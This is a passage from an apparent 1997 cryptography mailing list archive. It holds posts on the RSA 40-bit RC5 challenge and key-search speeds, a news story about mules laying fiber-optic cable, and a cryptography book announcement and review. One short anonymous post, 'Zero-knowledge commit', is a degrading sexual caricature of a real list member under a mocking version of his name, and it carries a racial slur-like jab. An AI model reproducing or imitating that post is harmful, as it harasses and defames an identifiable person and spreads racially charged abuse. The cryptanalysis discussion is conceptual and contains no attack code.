the challenge were not offered in the spirit of full and fair disclosure. I will concede in any case that this was not an exhaustive, controlled study. "Challenges" such as these have a place. Within the INFOSEC environment, cryptanalytic attack appears to be one of the more reasonable areas for them. Compared to "challenges" against network "firewalls", for example, cryptanalysis is an area where there is the opportunity to adequately define the goal and to measure the result. In this case, RSA was not attempting to prove a negative, as have so many (too many) other firms offering so-called "challenges". If we restrict our focus for purposes of argument to commercially available cryptographic software, the clues become significantly less onerous and mysterious. Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is certainly the most arcane of the lot. Speaking as a former commercial software developer, I would be quite surprised if vendors would not routinely disclose information of this sort. Certainly vendors using standard algorithms would tend to be more willing to do so than those using proprietary ones, which only bolsters my later arguments, as you will see below. If we may depart for just a moment to other algorithms, almost any _standard_ implementation of an algorithm which is interoperable with other implementations would, by definition, disclose or facilitate disclosure of this sort of information, by its very nature. Again, in a commercial environment, interoperability is key (no pun intended), so it's likely that implementation details are either available, or readily deducible. Clue 2, the disclosure of key size, again meets the standards just discussed. In the case of products recently exportable from the U.S., one of two things is generally true. Either the key size is actually 40 bits, or the key size is larger than 40 bits, but steps are taken to make all key information beyond 40 bits accessible to observers of the tool. Again, in a commercial environment, this is no secret. Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman. Disclosure of known plaintext, in this case the phrase "The unknown message is:" is certainly quite serious in that it may significantly aid cryptanalytic attack. My only comment here is that in the commercial arena, interoperability demands standards, and standards define consistent protocols. Those protocols will almost always result in some manner of reproducible content, most readily exemplified by message headers in electronic mail systems. While mechanisms exist for enhanced cryptographic protection of said content, in general the commercial environment has lagged behind the military, and perhaps rightly so. In none of the aforementioned cases, however, do I see information that fundamentally invalidates the significance of RSA's Challenge TO THE CIVILIAN COMMERCIAL INFOSEC COMMUNITY. That community has serious, current INFOSEC needs, and one must question (as I know many of us do every day) to what degree we're willing to lay our economic fabric open to subversion in order to lessen the cost of intelligence collection. --Bob Stratton ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST) From: "A. Padgett Peterson P.E. Information Security" <PADGETT(a)hobbes.orl.mmc.com> To: infowar(a)infowar.com Subject: RSA challenge Paul rote: >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. ... >Clue #3: (a giveway!) > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Those who follow my hobby may have noticed that about two years ago I began using the "3.5 hour" figure to assign a maximun value of $250 to any information sent via a 40 bit code. The advent of multiple parallel machines (via networks) capable of operating entirely out of L1 cache just made the technology available. However, such attacks do rely on known plain text for speed (final test is a simple XOR/alarm if zero. The same technology was used in Colossis back in 1944. It was just a touch slower. The simle answer is message compression prior to encryption which would make deciding when the message was broken much more difficult. Naysayers claim "there is always KPT" but this does not need to be true. - whole months of Enigma traffic went undecoded because there was no crib available but eventually human error gave the BP team a clue. Today, electronic systems can remove such errors from human hands. Personally believe that 56 bits is "good enough" today though it makes little sense from a programming standpoint not to use 64 *so long as a different key is used for every message and every message, no matter how trivial, is encrypted*. Or you could use a "shared secret" book code: a simple XOR with a digital satellite data stream transmitting compressed video should do nicely. All that is needed is to know which stream and when to start. I call that an "unwitting key provider". So as Paul says, the contest proves little except to confirm my 3.5 hour estimate (remember the gentleman in France who broke the 40 bit NS code last year and what his time was...) - but that was for equipment available several years ago. Today I use the figure of one gig kps (keys per second) for 1997 equipment per seive. A single one would break 40 bits in an average of under 10 min. DES would fall in a day to 400 in parallel. But the question remains: without KPT, how can you tell when the break occured ? Is a world of difference between an XOR and decompression. And if every message uses a differnt key... Warmly, Padgett ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/ under "Anti-Virus hobby". FreeWare. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Nothing Can Stop the Net
by Duncan Frissell 17 Dec '03

17 Dec '03

Mule Power Used to Install Fiber-Optic Cable February 10, 1997 11.54 a.m. (1654 GMT) SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could get over or around the rugged terrain confronting electricians trying to install fiber optic cable through the Ozarks. So they shifted their sights from high-tech to low-tech and hired Festus, Jake, Red and I.B. -- four Missouri mules -- to string 40 miles of cable through southwestern Missouri. "Today's thought is `fast and done quick and make the big money,"' said mule skinner James King, who works the mules for B&L Electrical Contractors. "A lot of people have forgot the fastest way to get through the country is on a mule or a horse." Even through city traffic, the mules are getting the job done. The idea first came about when Empire District Electric Co. was looking for contractors to install fiber optic cable. The cable was to run along the path of a power line strung in 1912. More than 80 years later, it was deemed inaccessible to vehicles in most places because of steep hills, trees or other impediments, such as chain-link fences. B&L submitted a bid based on doing the work with mules. The estimate was tricky since the company had never used mules. And if they couldn't do the job, a backup plan would have cost much more. "This is extremely rugged terrain. You couldn't get any motorized vehicles in there," said Clint Lam, manager of B&L. "You could build a road through there, but cost-wise, it would be so expensive." Empire didn't know the estimate was based on mule power. But when they learned of the idea, it seemed logical, said Darrell Wilson, Empire's telecommunications foreman. He told colleagues at a recent training seminar about the mules' success. "Everybody thought I was joking," Wilson said. "They thought I meant an ATV, some mechanical 4-wheel drive. They didn't really think it was a four-legged animal. They were a little surprised when I said, `No, I mean a real mule."' The mule skinners hook one end of the cable to an overhead pole and knot the other end to a mule's saddle. Then the animal pulls. All-terrain vehicles are prone to tipping on uneven surfaces, while mules are sure-footed and can jump creeks or chain-link fences. In fact, they worked so well in the rough stuff, they were kept on even when the line reached Springfield, the state's third-largest metropolitan area. "I think we're going to try to vote in a new position in our contract for mule skinner," crew foreman John Agee joked. Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor and an expert on mules, was not surprised to learn of the mules' success. "The mule will go places, over banks and rough terrain and stand up and be able to pull that cable through where horses will have trouble," he said. Festus, at 1,250 pounds the largest of the crew, drew curious glances from motorists as he and skinner King recently hauled cable through exhaust-stained snowbanks near a busy city intersection. Festus wasn't fazed, though he was a bit trailer-sick from the 30-mile commute from Galena. "This is his first day on the job," the hard-hatted King said from the saddle where he wraps the rope or cable being pulled by the mule. Festus can tow up to 14,000 feet of cable, a load weighing more than 1 ton. Some people who saw the mules at work didn't know exactly what they were, which King found remarkable. After all, mules were made Missouri's state animal in 1995. "`Look, ma -- it's a horse!"' King said, mimicking what he's heard from children passing the work crew. "It's a good old Missouri mule."

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Zero-knowledge commit
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Tim C. Mayonnaise sits at his terminal dressed in five-inch stiletto heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a black man responds to one of his inane rants. \\\ (0 0) _ooO_(_)_Ooo____ Tim C. Mayonnaise

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[CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
by Brian D Williams 17 Dec '03

17 Dec '03

FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. reposted from cryptography(a)c2.org Brian

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